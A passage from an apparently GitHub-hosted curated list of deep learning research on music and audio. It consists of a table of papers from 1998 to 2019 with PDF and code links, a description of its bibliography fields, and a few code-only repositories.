| 1998 | [Recognition of music types](https://www.ri.cmu.edu/pub_files/pub1/soltau_hagen_1998_2/soltau_hagen_1998_2.pdf) | No |
| 1999 | [Musical networks: Parallel distributed perception and performance](https://s3.amazonaws.com/academia.edu.documents/3551783/10.1.1.39.6248.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&Expires=1507055806&Signature=5mGzQc7bvJgUZYfXOmCX8eeNQOs%3D&response-content-disposition=inline%3B%20filename%3DMusical_networks_Parallel_distributed_pe.pdf) | No |
| 2001 | [Multi-phase learning for jazz improvisation and interaction](http://www.cs.smith.edu/~jfrankli/papers/CtColl01.pdf) | No |
| 2002 | [A supervised learning approach to musical style recognition](https://www.researchgate.net/profile/Giuseppe_Buzzanca/publication/228588086_A_supervised_learning_approach_to_musical_style_recognition/links/54b43ee90cf26833efd0109f.pdf) | No |
| 2002 | [Finding temporal structure in music: Blues improvisation with LSTM recurrent networks](http://www-perso.iro.umontreal.ca/~eckdoug/papers/2002_ieee.pdf) | No |
| 2002 | [Neural networks for note onset detection in piano music](https://www.researchgate.net/profile/Matija_Marolt/publication/2473938_Neural_Networks_for_Note_Onset_Detection_in_Piano_Music/links/00b49525efccc79fed000000.pdf) | No |
| 2004 | [A convolutional-kernel based approach for note onset detection in piano-solo audio signals](http://www.murase.nuie.nagoya-u.ac.jp/~ide/res/paper/E04-conference-pablo-1.pdf) | No |
| 2009 | [Unsupervised feature learning for audio classification using convolutional deep belief networks](http://papers.nips.cc/paper/3674-unsupervised-feature-learning-for-audio-classification-using-convolutional-deep-belief-networks.pdf) | No |
| 2010 | [Audio musical genre classification using convolutional neural networks and pitch and tempo transformations](http://lbms03.cityu.edu.hk/theses/c_ftt/mphil-cs-b39478026f.pdf) | No |
| 2010 | [Automatic musical pattern feature extraction using convolutional neural network](https://www.researchgate.net/profile/Antoni_Chan2/publication/44260643_Automatic_Musical_Pattern_Feature_Extraction_Using_Convolutional_Neural_Network/links/02e7e523dac6bb86b0000000.pdf) | No |
| 2011 | [Audio-based music classification with a pretrained convolutional network](http://www.ismir2011.ismir.net/papers/PS6-3.pdf) | No |
| 2012 | [Rethinking automatic chord recognition with convolutional neural networks](http://ieeexplore.ieee.org/abstract/document/6406762/) | No |
| 2012 | [Moving beyond feature design: Deep architectures and automatic feature learning in music informatics](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.294.2304&rep=rep1&type=pdf) | No |
| 2012 | [Local-feature-map integration using convolutional neural networks for music genre classification](http://liris.cnrs.fr/Documents/Liris-5602.pdf) | No |
| 2012 | [Learning sparse feature representations for music annotation and retrieval](https://pdfs.semanticscholar.org/099d/85f25e9336f48ff64287a4b53ee5fb64ab51.pdf) | No |
| 2012 | [Unsupervised learning of local features for music classification](http://www.ismir2012.ismir.net/event/papers/139_ISMIR_2012.pdf) | No |
| 2013 | [Multiscale approaches to music audio feature learning](http://ismir2013.ismir.net/wp-content/uploads/2013/09/69_Paper.pdf) | No |
| 2013 | [Musical onset detection with convolutional neural networks](http://phenicx.upf.edu/system/files/publications/Schlueter_MML13.pdf) | No |
| 2013 | [Deep content-based music recommendation](http://papers.nips.cc/paper/5004-deep-content-based-music-recommendation.pdf) | No |
| 2014 | [The munich LSTM-RNN approach to the MediaEval 2014 Emotion In Music task](https://pdfs.semanticscholar.org/8a24/c5131d5a28165f719697028c34b00e6d3f60.pdf) | No |
| 2014 | [End-to-end learning for music audio](http://ieeexplore.ieee.org/abstract/document/6854950/) | No |
| 2014 | [Deep learning for music genre classification](https://courses.engr.illinois.edu/ece544na/fa2014/Tao_Feng.pdf) | No |
| 2014 | [Recognition of acoustic events using deep neural networks](https://www.cs.tut.fi/sgn/arg/music/tuomasv/dnn_eusipco2014.pdf) | No |
| 2014 | [Deep image features in music information retrieval](https://www.degruyter.com/downloadpdf/j/eletel.2014.60.issue-4/eletel-2014-0042/eletel-2014-0042.pdf) | No |
| 2014 | [From music audio to chord tablature: Teaching deep convolutional networks to play guitar](https://ejhumphrey.com/assets/pdf/humphrey2014music.pdf) | No |
| 2014 | [Improved musical onset detection with convolutional neural networks](http://www.mirlab.org/conference_papers/International_Conference/ICASSP%202014/papers/p7029-schluter.pdf) | No |
| 2014 | [Boundary detection in music structure analysis using convolutional neural networks](https://dav.grrrr.org/public/pub/ullrich_schlueter_grill-2014-ismir.pdf) | No |
| 2014 | [Improving content-based and hybrid music recommendation using deep learning](http://www.smcnus.org/wp-content/uploads/2014/08/reco_MM14.pdf) | No |
| 2014 | [A deep representation for invariance and music classification](http://www.mirlab.org/conference_papers/International_Conference/ICASSP%202014/papers/p7034-zhang.pdf) | No |
| 2015 | [Auralisation of deep convolutional neural networks: Listening to learned features](http://ismir2015.uma.es/LBD/LBD24.pdf) | [GitHub](https://github.com/keunwoochoi/Auralisation) |
| 2015 | [Downbeat tracking with multiple features and deep neural networks](http://perso.telecom-paristech.fr/~grichard/Publications/2015-durand-icassp.pdf) | No |
| 2015 | [Music boundary detection using neural networks on spectrograms and self-similarity lag matrices](http://www.ofai.at/~jan.schlueter/pubs/2015_eusipco.pdf) | No |
| 2015 | [Classification of spatial audio location and content using convolutional neural networks](https://www.researchgate.net/profile/Toni_Hirvonen/publication/276061831_Classification_of_Spatial_Audio_Location_and_Content_Using_Convolutional_Neural_Networks/links/5550665908ae12808b37fe5a/Classification-of-Spatial-Audio-Location-and-Content-Using-Convolutional-Neural-Networks.pdf) | No |
| 2015 | [Deep learning, audio adversaries, and music content analysis](http://www2.imm.dtu.dk/pubdb/views/edoc_download.php/6905/pdf/imm6905.pdf) | No |
| 2015 | [Deep learning and music adversaries](https://arxiv.org/pdf/1507.04761.pdf) | [GitHub](https://github.com/coreyker/dnn-mgr) |
| 2015 | [Singing voice detection with deep recurrent neural networks](https://hal-imt.archives-ouvertes.fr/hal-01110035/) | No |
| 2015 | [Automatic instrument recognition in polyphonic music using convolutional neural networks](https://arxiv.org/pdf/1511.05520.pdf) | No |
| 2015 | [A software framework for musical data augmentation](https://bmcfee.github.io/papers/ismir2015_augmentation.pdf) | No |
| 2015 | [A deep bag-of-features model for music auto-tagging](https://arxiv.org/pdf/1508.04999v1.pdf) | No |
| 2015 | [Music-noise segmentation in spectrotemporal domain using convolutional neural networks](http://ismir2015.uma.es/LBD/LBD27.pdf) | No |
| 2015 | [Musical instrument sound classification with deep convolutional neural network using feature fusion approach](https://arxiv.org/ftp/arxiv/papers/1512/1512.07370.pdf) | No |
| 2015 | [Environmental sound classification with convolutional neural networks](http://karol.piczak.com/papers/Piczak2015-ESC-ConvNet.pdf) | No |
| 2015 | [Exploring data augmentation for improved singing voice detection with neural networks](https://grrrr.org/pub/schlueter-2015-ismir.pdf) | [GitHub](https://github.com/f0k/ismir2015) |
| 2015 | [Singer traits identification using deep neural network](https://cs224d.stanford.edu/reports/SkiZhengshan.pdf) | No |
| 2015 | [A hybrid recurrent neural network for music transcription](https://arxiv.org/pdf/1411.1623.pdf) | No |
| 2015 | [An end-to-end neural network for polyphonic music transcription](https://arxiv.org/pdf/1508.01774.pdf) | No |
| 2015 | [Deep karaoke: Extracting vocals from musical mixtures using a convolutional deep neural network](https://link.springer.com/chapter/10.1007/978-3-319-22482-4_50) | No |
| 2015 | [Folk music style modelling by recurrent neural networks with long short term memory units](http://ismir2015.uma.es/LBD/LBD13.pdf) | [GitHub](https://github.com/IraKorshunova/folk-rnn) |
| 2015 | [Deep neural network based instrument extraction from music](https://www.researchgate.net/profile/Stefan_Uhlich/publication/282001406_Deep_neural_network_based_instrument_extraction_from_music/links/5600eeda08ae07629e52b397/Deep-neural-network-based-instrument-extraction-from-music.pdf) | No |
| 2015 | [A deep neural network for modeling music](https://www.researchgate.net/profile/Xiaoqing_Zheng3/publication/275347034_A_Deep_Neural_Network_for_Modeling_Music/links/5539d2060cf2239f4e7dad0d/A-Deep-Neural-Network-for-Modeling-Music.pdf) | No |
| 2016 | [An efficient approach for segmentation, feature extraction and classification of audio signals](http://file.scirp.org/pdf/CS_2016042615054817.pdf) | No |
| 2016 | [Text-based LSTM networks for automatic music composition](https://drive.google.com/file/d/0B1OooSxEtl0FcG9MYnY2Ylh5c0U/view) | No |
| 2016 | [Towards playlist generation algorithms using RNNs trained on within-track transitions](https://arxiv.org/pdf/1606.02096.pdf) | No |
| 2016 | [Automatic tagging using deep convolutional neural networks](https://arxiv.org/pdf/1606.00298.pdf) | No |
| 2016 | [Automatic chord estimation on seventhsbass chord vocabulary using deep neural network](http://ieeexplore.ieee.org/abstract/document/7471677/) | No |
| 2016 | [DeepBach: A steerable model for Bach chorales generation](https://arxiv.org/pdf/1612.01010.pdf) | [GitHub](https://github.com/Ghadjeres/DeepBach) |
| 2016 | [Bayesian meter tracking on learned signal representations](http://www.rhythmos.org/MMILab-Andre_files/ISMIR2016_CNNDBNbeats_camready.pdf) | No |
| 2016 | [Deep learning for music](https://arxiv.org/pdf/1606.04930.pdf) | No |
| 2016 | [Learning temporal features using a deep neural network and its application to music genre classification](https://www.researchgate.net/profile/Il_Young_Jeong/publication/305683876_Learning_temporal_features_using_a_deep_neural_network_and_its_application_to_music_genre_classification/links/5799a27c08aec89db7bb9f92.pdf) | No |
| 2016 | [On the potential of simple framewise approaches to piano transcription](https://arxiv.org/pdf/1612.05153.pdf) | No |
| 2016 | [Feature learning for chord recognition: The deep chroma extractor](https://arxiv.org/pdf/1612.05065.pdf) | [GitHub](https://github.com/fdlm/chordrec/tree/master/experiments/ismir2016) |
| 2016 | [A fully convolutional deep auditory model for musical chord recognition](https://www.researchgate.net/profile/Filip_Korzeniowski/publication/305590295_A_Fully_Convolutional_Deep_Auditory_Model_for_Musical_Chord_Recognition/links/579486ba08aed51475cc6958/A-Fully-Convolutional-Deep-Auditory-Model-for-Musical-Chord-Recognition.pdf?_iepl%5BhomeFeedViewId%5D=HTzFFmKPia2YminQ4psHT5at&_iepl%5Bcontexts%5D%5B0%5D=pcfhf&_iepl%5BinteractionType%5D=publicationDownload&origin=publication_detail&ev=pub_int_prw_xdl&msrp=Dz_6LKHzYcPyP-LmgZPF-m63ayZ6k0entFEntooiu_e32zfETNQXKPQSTFOI87NONIIQuUQdnUtwORdomTXfteTrb09KiAIdDtBJnw_02P6JeRr5zu2eyaCG.2Uxsi_eENxtbYL39lvorIK8LofRYhkgpUHzpzmVzkIEiyHc0wUY87rEa4PH1qbXi4k4RyagHUsA2IsZtewnprglORjx2v9Cwbk9ZfQ.cd67BaqtHul_hE6SX6vUFKuldz81aH6dWq-cYMkq5vQKCHcvB8l9zgeM694Efb_r2wBB5GT9idt3OLeME0UxVHI6ROxamgK3LMNlSw.JtZXAo9HhR9t-8Wl3gxJgnoM4--rtmDEUDbXSWezbFyU-CoB_nyfxbRQ4kdoN4-5aJ3Tgx4YHdikicqAhc_cezB2ZntjxkB4rEDx1A) | No |
| 2016 | [A deep bidirectional long short-term memory based multi-scale approach for music dynamic emotion prediction](http://ieeexplore.ieee.org/document/7471734/) | No |
| 2016 | [Event localization in music auto-tagging](http://mac.citi.sinica.edu.tw/~yang/pub/liu16mm.pdf) | [GitHub](https://github.com/ciaua/clip2frame) |
| 2016 | [Deep convolutional networks on the pitch spiral for musical instrument recognition](https://github.com/lostanlen/ismir2016/blob/master/paper/lostanlen_ismir2016.pdf) | [GitHub](https://github.com/lostanlen/ismir2016) |
| 2016 | [SampleRNN: An unconditional end-to-end neural audio generation model](https://openreview.net/pdf?id=SkxKPDv5xl) | [GitHub](https://github.com/soroushmehr/sampleRNN_ICLR2017) |
| 2016 | [Robust audio event recognition with 1-max pooling convolutional neural networks](https://arxiv.org/pdf/1604.06338.pdf) | No |
| 2016 | [Experimenting with musically motivated convolutional neural networks](http://jordipons.me/media/CBMI16.pdf) | [GitHub](https://github.com/jordipons/) |
| 2016 | [Singing voice melody transcription using deep neural networks](https://wp.nyu.edu/ismir2016/wp-content/uploads/sites/2294/2016/07/163_Paper.pdf) | No |
| 2016 | [Singing voice separation using deep neural networks and F0 estimation](http://www.music-ir.org/mirex/abstracts/2016/RSGP1.pdf) | [Website](http://cvssp.org/projects/maruss/mirex2016/) |
| 2016 | [Learning to pinpoint singing voice from weakly labeled examples](http://www.ofai.at/~jan.schlueter/pubs/2016_ismir.pdf) | No |
| 2016 | [Analysis of time-frequency representations for musical onset detection with convolutional neural network](http://ieeexplore.ieee.org/abstract/document/7733228/) | No |
| 2016 | [Note onset detection in musical signals via neural-network-based multi-ODF fusion](https://www.degruyter.com/downloadpdf/j/amcs.2016.26.issue-1/amcs-2016-0014/amcs-2016-0014.pdf) | No |
| 2016 | [Music transcription modelling and composition using deep learning](https://drive.google.com/file/d/0B1OooSxEtl0FcTBiOGdvSTBmWnc/view) | [GitHub](https://github.com/IraKorshunova/folk-rnn) |
| 2016 | [Convolutional neural network for robust pitch determination](http://www.mirlab.org/conference_papers/International_Conference/ICASSP%202016/pdfs/0000579.pdf) | No |
| 2016 | [Deep convolutional neural networks and data augmentation for acoustic event detection](https://arxiv.org/pdf/1604.07160.pdf) | [Website](https://bitbucket.org/naoya1/aenet_release) |
| 2017 | [Gabor frames and deep scattering networks in audio processing](https://arxiv.org/pdf/1706.08818.pdf) | No |
| 2017 | [Vision-based detection of acoustic timed events: A case study on clarinet note onsets](http://dorienherremans.com/dlm2017/papers/bazzica2017clarinet.pdf) | No |
| 2017 | [Deep learning techniques for music generation - A survey](https://arxiv.org/pdf/1709.01620.pdf) | No |
| 2017 | [JamBot: Music theory aware chord based generation of polyphonic music with LSTMs](https://arxiv.org/pdf/1711.07682.pdf) | [GitHub](https://github.com/brunnergino/JamBot) |
| 2017 | [XFlow: 1D <-> 2D cross-modal deep neural networks for audiovisual classification](https://arxiv.org/pdf/1709.00572.pdf) | No |
| 2017 | [Machine listening intelligence](http://dorienherremans.com/dlm2017/papers/cella2017mli.pdf) | No |
| 2017 | [Monoaural audio source separation using deep convolutional neural networks](http://mtg.upf.edu/system/files/publications/monoaural-audio-source_0.pdf) | [GitHub](https://github.com/MTG/DeepConvSep) |
| 2017 | [Deep multimodal network for multi-label classification](http://ieeexplore.ieee.org/abstract/document/8019322/) | No |
| 2017 | [A tutorial on deep learning for music information retrieval](https://arxiv.org/pdf/1709.04396.pdf) | [GitHub](https://github.com/keunwoochoi/dl4mir) |
| 2017 | [A comparison on audio signal preprocessing methods for deep neural networks on music tagging](https://arxiv.org/pdf/1709.01922.pdf) | [GitHub](https://github.com/keunwoochoi/transfer_learning_music) |
| 2017 | [Transfer learning for music classification and regression tasks](https://arxiv.org/pdf/1703.09179v3.pdf) | [GitHub](https://github.com/keunwoochoi/transfer_learning_music) |
| 2017 | [Convolutional recurrent neural networks for music classification](http://ieeexplore.ieee.org/abstract/document/7952585/) | [GitHub](https://github.com/keunwoochoi/icassp_2017) |
| 2017 | [An evaluation of convolutional neural networks for music classification using spectrograms](http://www.inf.ufpr.br/lesoliveira/download/ASOC2017.pdf) | No |
| 2017 | [Large vocabulary automatic chord estimation using deep neural nets: Design framework, system variations and limitations](https://arxiv.org/pdf/1709.07153.pdf) | No |
| 2017 | [Basic filters for convolutional neural networks: Training or design?](https://arxiv.org/pdf/1709.02291.pdf) | No |
| 2017 | [Ensemble Of Deep Neural Networks For Acoustic Scene Classification](https://arxiv.org/pdf/1708.05826.pdf) | No |
| 2017 | [Robust downbeat tracking using an ensemble of convolutional networks](http://ieeexplore.ieee.org/abstract/document/7728057/) | No |
| 2017 | [Music signal processing using vector product neural networks](http://dorienherremans.com/dlm2017/papers/fan2017vector.pdf) | No |
| 2017 | [Transforming musical signals through a genre classifying convolutional neural network](http://dorienherremans.com/dlm2017/papers/geng2017genre.pdf) | No |
| 2017 | [Audio to score matching by combining phonetic and duration information](https://arxiv.org/pdf/1707.03547.pdf) | [GitHub](https://github.com/ronggong/jingjuSingingPhraseMatching/tree/v0.1.0) |
| 2017 | [Interactive music generation with positional constraints using anticipation-RNNs](https://arxiv.org/pdf/1709.06404.pdf) | No |
| 2017 | [Deep rank-based transposition-invariant distances on musical sequences](https://arxiv.org/pdf/1709.00740.pdf) | No |
| 2017 | [GLSR-VAE: Geodesic latent space regularization for variational autoencoder architectures](https://arxiv.org/pdf/1707.04588.pdf) | No |
| 2017 | [Deep convolutional neural networks for predominant instrument recognition in polyphonic music](http://dl.acm.org/citation.cfm?id=3068697) | No |
| 2017 | [CNN architectures for large-scale audio classification](https://arxiv.org/pdf/1609.09430v2.pdf) | No |
| 2017 | [DeepSheet: A sheet music generator based on deep learning](http://ieeexplore.ieee.org/abstract/document/8026272/) | No |
| 2017 | [Talking Drums: Generating drum grooves with neural networks](http://dorienherremans.com/dlm2017/papers/hutchings2017drums.pdf) | No |
| 2017 | [Singing voice separation with deep U-Net convolutional networks](https://ismir2017.smcnus.org/wp-content/uploads/2017/10/171_Paper.pdf) | [GitHub](https://github.com/Xiao-Ming/UNet-VocalSeparation-Chainer) |
| 2017 | [Music emotion recognition via end-to-end multimodal neural networks](http://ceur-ws.org/Vol-1905/recsys2017_poster18.pdf) | No |
| 2017 | [Chord label personalization through deep learning of integrated harmonic interval-based representations](http://dorienherremans.com/dlm2017/papers/koops2017pers.pdf) | No |
| 2017 | [End-to-end musical key estimation using a convolutional neural network](https://arxiv.org/pdf/1706.02921.pdf) | No |
| 2017 | [MediaEval 2017 AcousticBrainz genre task: Multilayer perceptron approach](http://www.cp.jku.at/research/papers/Koutini_2017_mediaeval-acousticbrainz.pdf) | No |
| 2017 | [Classification-based singing melody extraction using deep convolutional neural networks](https://www.preprints.org/manuscript/201711.0027/v1) | No |
| 2017 | [Multi-level and multi-scale feature aggregation using pre-trained convolutional neural networks for music auto-tagging](https://arxiv.org/pdf/1703.01793v2.pdf) | No |
| 2017 | [Multi-level and multi-scale feature aggregation using sample-level deep convolutional neural networks for music classification](https://arxiv.org/pdf/1706.06810.pdf) | [GitHub](https://github.com/jongpillee/musicTagging_MSD) |
| 2017 | [Sample-level deep convolutional neural networks for music auto-tagging using raw waveforms](https://arxiv.org/pdf/1703.01789v2.pdf) | No |
| 2017 | [A SeqGAN for Polyphonic Music Generation](https://arxiv.org/pdf/1710.11418.pdf) | [GitHub](https://github.com/L0SG/seqgan-music) |
| 2017 | [Harmonic and percussive source separation using a convolutional auto encoder](http://www.eurasip.org/Proceedings/Eusipco/Eusipco2017/papers/1570346835.pdf) | No |
| 2017 | [Stacked convolutional and recurrent neural networks for music emotion recognition](https://arxiv.org/pdf/1706.02292.pdf) | No |
| 2017 | [A deep learning approach to source separation and remixing of hiphop music](https://repositori.upf.edu/bitstream/handle/10230/32919/Martel_2017.pdf?sequence=1&isAllowed=y) | No |
| 2017 | [Music Genre Classification Using Masked Conditional Neural Networks](https://link.springer.com/chapter/10.1007%2F978-3-319-70096-0_49) | No |
| 2017 | [Monaural Singing Voice Separation with Skip-Filtering Connections and Recurrent Inference of Time-Frequency Mask](https://arxiv.org/pdf/1711.01437.pdf) | [GitHub](https://github.com/Js-Mim/mss_pytorch) |
| 2017 | [Generating data to train convolutional neural networks for classical music source separation](https://www.researchgate.net/profile/Marius_Miron/publication/318322107_Generating_data_to_train_convolutional_neural_networks_for_classical_music_source_separation/links/59637cc3458515a3575b93c6/Generating-data-to-train-convolutional-neural-networks-for-classical-music-source-separation.pdf?_iepl%5BhomeFeedViewId%5D=WchoMnlUL1Hk9hBLVTeR8Amh&_iepl%5Bcontexts%5D%5B0%5D=pcfhf&_iepl%5BinteractionType%5D=publicationDownload&origin=publication_detail&ev=pub_int_prw_xdl&msrp=p3lQ8M4uZlb4TF5Hv9a2U3P2y4wW7ant5KWj4E5-OcD1Mg53p1ykTKHMG9_zVTB9n6mI8fvZOCL2Xhpru186pCEY-2ZxiYR-CB8_QvwHc1kUG-QE4SHdProR.LoJb2BDOiiQth3iR9xgZUxxCWEJgtTBF4whFrFa01OD49-3YYRxA0WQVN--zhtQU_7C2Pt0rKdwoFxT1pfxFvnKXSXmy2eT1Jpz-pw.U1QLoFO_Uc6aQVr2Nm2FcAi6BqAUfngH2Or5__6wegbCgVvTYoIGt22tmCkYbGTOQ_4PxBgt1LrvsFQiL0oMyogP8Yk8myTj0gs9jw.fGpkufGqAI4R2v8Hfe0ThcXL7M7yN2PuAlx974BGVn50SdUWvNhhIPWBD-zWTn8NKtVJx3XrjKXFrMgi9Cx7qGrNP8tBWpha6Srf6g) | [GitHub](https://github.com/MTG/DeepConvSep) |
| 2017 | [Monaural score-informed source separation for classical music using convolutional neural networks](https://www.researchgate.net/profile/Marius_Miron/publication/318637038_Monaural_score-informed_source_separation_for_classical_music_using_convolutional_neural_networks/links/597327c6458515e26dfdb007/Monaural-score-informed-source-separation-for-classical-music-using-convolutional-neural-networks.pdf?_iepl%5BhomeFeedViewId%5D=WchoMnlUL1Hk9hBLVTeR8Amh&_iepl%5Bcontexts%5D%5B0%5D=pcfhf&_iepl%5BinteractionType%5D=publicationDownload&origin=publication_detail&ev=pub_int_prw_xdl&msrp=Hp6dDqMepEiRZ5E6WkreaqyjFkFkwMxPFoJvr14etVJsoKZBc5qb99fBnJjVUZrRHLFRhaXvNY9k1sMvYPOouuGbQP0YhEGm28zLw_55Zewu86WGnHck1Tqi.93HH2WqXfTedn6IaZRjjhQGYZVDHBz1X6nr4ABBgMAVv584gvGN3sW5IyBAY-4MBWf5DJFPBGm8zsaC2dKz8G-odZPfosWoXY0afAQ.KoCP2mO9l31lCER0oMZMZBrbuRGvb6ZzeBwHb88pL8AhMfJk03Hj1eLrohQIjPDETBj4hhqb0gniDGJgtZ9GnW64ZNjh9GbQDrIl5A.egNQTyC7t8P26zCQWrbEhf51Pxy2JRBZoTkH6SpRHHhRhFl1_AT_AT481lMcFI34-JbeRq-5oTQR7DpvAuw7iUIivd78ltuxpI9syg) | [GitHub](https://github.com/MTG/DeepConvSep) |
| 2017 | [Multi-label music genre classification from audio, text, and images using deep features](https://ismir2017.smcnus.org/wp-content/uploads/2017/10/126_Paper.pdf) | [GitHub](https://github.com/sergiooramas/tartarus) |
| 2017 | [A deep multimodal approach for cold-start music recommendation](https://arxiv.org/pdf/1706.09739.pdf) | [GitHub](https://github.com/sergiooramas/tartarus) |
| 2017 | [Melody extraction and detection through LSTM-RNN with harmonic sum loss](http://ieeexplore.ieee.org/abstract/document/7952660/) | No |
| 2017 | [Representation learning of music using artist labels](https://arxiv.org/pdf/1710.06648.pdf) | No |
| 2017 | [Toward inverse control of physics-based sound synthesis](http://dorienherremans.com/dlm2017/papers/pfalz2017synthesis.pdf) | [Website](https://www.cct.lsu.edu/~apfalz/inverse_control.html) |
| 2017 | [DNN and CNN with weighted and multi-task loss functions for audio event detection](https://arxiv.org/pdf/1708.03211.pdf) | No |
| 2017 | [Score-informed syllable segmentation for a cappella singing voice with convolutional neural networks](https://ismir2017.smcnus.org/wp-content/uploads/2017/10/46_Paper.pdf) | [GitHub](https://github.com/ronggong/jingjuSyllabicSegmentaion/tree/v0.1.0) |
| 2017 | [End-to-end learning for music audio tagging at scale](https://arxiv.org/pdf/1711.02520.pdf) | [GitHub](https://github.com/jordipons/music-audio-tagging-at-scale-models) |
| 2017 | [Designing efficient architectures for modeling temporal features with convolutional neural networks](http://ieeexplore.ieee.org/document/7952601/) | [GitHub](https://github.com/jordipons/ICASSP2017) |
| 2017 | [Timbre analysis of music audio signals with convolutional neural networks](https://github.com/ronggong/EUSIPCO2017) | [GitHub](https://github.com/jordipons/EUSIPCO2017) |
| 2017 | [Deep learning and intelligent audio mixing](http://www.semanticaudio.co.uk/wp-content/uploads/2017/09/WIMP2017_Martinez-RamirezReiss.pdf) | No |
| 2017 | [Deep learning for event detection, sequence labelling and similarity estimation in music signals](http://ofai.at/~jan.schlueter/pubs/phd/phd.pdf) | No |
| 2017 | [Music feature maps with convolutional neural networks for music genre classification](https://www.researchgate.net/profile/Thomas_Pellegrini/publication/319326354_Music_Feature_Maps_with_Convolutional_Neural_Networks_for_Music_Genre_Classification/links/59ba5ae3458515bb9c4c6724/Music-Feature-Maps-with-Convolutional-Neural-Networks-for-Music-Genre-Classification.pdf?origin=publication_detail&ev=pub_int_prw_xdl&msrp=wzXuHZAa5zAnqEmErYyZwIRr2H0q01LnNEd4Wd7A15CQfdVLwdy98pmE-AdnrDvoc3-bVENSFrHt0yhaOiE2mQrYllVS9CJZOk-c9R0j_R1rbgcZugS6RtQ_.AUjPuJSF5P_DMngf-woH7W-7jdnQlbNQziR4_h6NnCHfR_zGcEa8vOyyOz5gx5nc4azqKTPQ5ZgGGLUxkLj1qCQLEQ5ThkhGlWHLyA.s6MBZE20-EO_RjRGCOCV4wk0WSFdN56Aloiraxz9hKCbJwRM2Et27RHVUA8jj9H8qvXIB6f7zSIrQgjXGrL2yCpyQlLffuf57rzSwg.KMMXbZrHsihV8DJM53xkHAWf3VebCJESi4KU4btNv9nQsyK2KnkhSQaTILKv0DSZY3c70a61LzywCBuoHtIhVOFhW5hVZN2n5O9uKQ) | No |
| 2017 | [Automatic drum transcription for polyphonic recordings using soft attention mechanisms and convolutional neural networks](https://carlsouthall.files.wordpress.com/2017/12/ismir2017adt.pdf) | [GitHub](https://github.com/CarlSouthall/ADTLib) |
| 2017 | [Adversarial semi-supervised audio source separation applied to singing voice extraction](https://arxiv.org/pdf/1711.00048.pdf) | No |
| 2017 | [Taking the models back to music practice: Evaluating generative transcription models built using deep learning](http://jcms.org.uk/issues/Vol2Issue1/taking-models-back-to-music-practice/Taking%20the%20Models%20back%20to%20Music%20Practice:%20Evaluating%20Generative%20Transcription%20Models%20built%20using%20Deep%20Learning.pdf) | [GitHub](https://github.com/IraKorshunova/folk-rnn) |
| 2017 | [Generating nontrivial melodies for music as a service](https://ismir2017.smcnus.org/wp-content/uploads/2017/10/178_Paper.pdf) | No |
| 2017 | [Invariances and data augmentation for supervised music transcription](https://arxiv.org/pdf/1711.04845.pdf) | [GitHub](https://github.com/jthickstun/thickstun2018invariances/) |
| 2017 | [Lyrics-based music genre classification using a hierarchical attention network](https://ismir2017.smcnus.org/wp-content/uploads/2017/10/43_Paper.pdf) | [GitHub](https://github.com/alexTsaptsinos/lyricsHAN) |
| 2017 | [A hybrid DSP/deep learning approach to real-time full-band speech enhancement](https://arxiv.org/pdf/1709.08243.pdf) | [GitHub](https://github.com/xiph/rnnoise/) |
| 2017 | [Convolutional methods for music analysis](http://vbn.aau.dk/files/260308151/PHD_Gissel_Velarde_E_pdf.pdf) | No |
| 2017 | [Extending temporal feature integration for semantic audio analysis](http://www.aes.org/e-lib/browse.cfm?elib=18682) | No |
| 2017 | [Recognition and retrieval of sound events using sparse coding convolutional neural network](http://ieeexplore.ieee.org/abstract/document/8019552/) | No |
| 2017 | [A two-stage approach to note-level transcription of a specific piano](http://www.mdpi.com/2076-3417/7/9/901/htm) | No |
| 2017 | [Reducing model complexity for DNN based large-scale audio classification](https://arxiv.org/pdf/1711.00229.pdf) | No |
| 2017 | [Audio spectrogram representations for processing with convolutional neural networks](http://dorienherremans.com/dlm2017/papers/wyse2017spect.pdf) | [Website](http://lonce.org/research/audioST/) |
| 2017 | [Unsupervised feature learning based on deep models for environmental audio tagging](https://arxiv.org/pdf/1607.03681.pdf) | No |
| 2017 | [Attention and localization based on a deep convolutional recurrent model for weakly supervised audio tagging](https://arxiv.org/pdf/1703.06052.pdf) | [GitHub](https://github.com/yongxuUSTC/att_loc_cgrnn) |
| 2017 | [Surrey-CVSSP system for DCASE2017 challenge task4](https://www.cs.tut.fi/sgn/arg/dcase2017/documents/challenge_technical_reports/DCASE2017_Xu_146.pdf) | [GitHub](https://github.com/yongxuUSTC/dcase2017_task4_cvssp) |
| 2017 | [A study on LSTM networks for polyphonic music sequence modelling](https://qmro.qmul.ac.uk/xmlui/handle/123456789/24946) | [Website](http://www.eecs.qmul.ac.uk/~ay304/code/ismir17) |
| 2018 | [MuseGAN: Multi-track sequential generative adversarial networks for symbolic music generation and accompaniment](https://arxiv.org/pdf/1709.06298.pdf) | [GitHub](https://github.com/salu133445/musegan) |
| 2018 | [Music transformer: Generating music with long-term structure](https://arxiv.org/pdf/1809.04281.pdf) | No |
| 2018 | [Music theory inspired policy gradient method for piano music transcription](https://nips2018creativity.github.io/doc/music_theory_inspired_policy_gradient.pdf) | No |
| 2019 | [Enabling factorized piano music modeling and generation with the MAESTRO dataset](https://arxiv.org/abs/1810.12247) | [GitHub](https://github.com/magenta/magenta/tree/master/magenta/models/onsets_frames_transcription) |
| 2019 | [Generating Long Sequences with Sparse Transformers](https://arxiv.org/pdf/1904.10509.pdf) | [GitHub](https://github.com/openai/sparse_attention) |
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## DL4M details
A human-readable table summarized version if displayed in the file [dl4m.tsv](dl4m.tsv). All details for each article are stored in the corresponding bib entry in [dl4m.bib](dl4m.bib). Each entry has the regular bib field:
- `author`
- `year`
- `title`
- `journal` or `booktitle`
Each entry in [dl4m.bib](dl4m.bib) also displays additional information:
- `link` - HTML link to the PDF file
- `code` - Link to the source code if available
- `archi` - Neural network architecture
- `layer` - Number of layers
- `task` - The proposed tasks studied in the article
- `dataset` - The names of the dataset used
- `dataaugmentation` - The type of data augmentation technique used
- `time` - The computation time
- `hardware` - The hardware used
- `note` - Additional notes and information
- `repro` - Indication to what extent the experiments are reproducible
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## Code without articles
- [Audio Classifier in Keras using Convolutional Neural Network](https://github.com/drscotthawley/audio-classifier-keras-cnn)
- [Deep learning driven jazz generation using Keras & Theano](https://github.com/jisungk/deepjazz)
- [End-to-end learning for music audio tagging at scale](https://github.com/jordipons/music-audio-tagging-at-scale-models)
- [Music Genre classification on GTZAN dataset using CNNs](https://github.com/Hguimaraes/gtzan.keras)
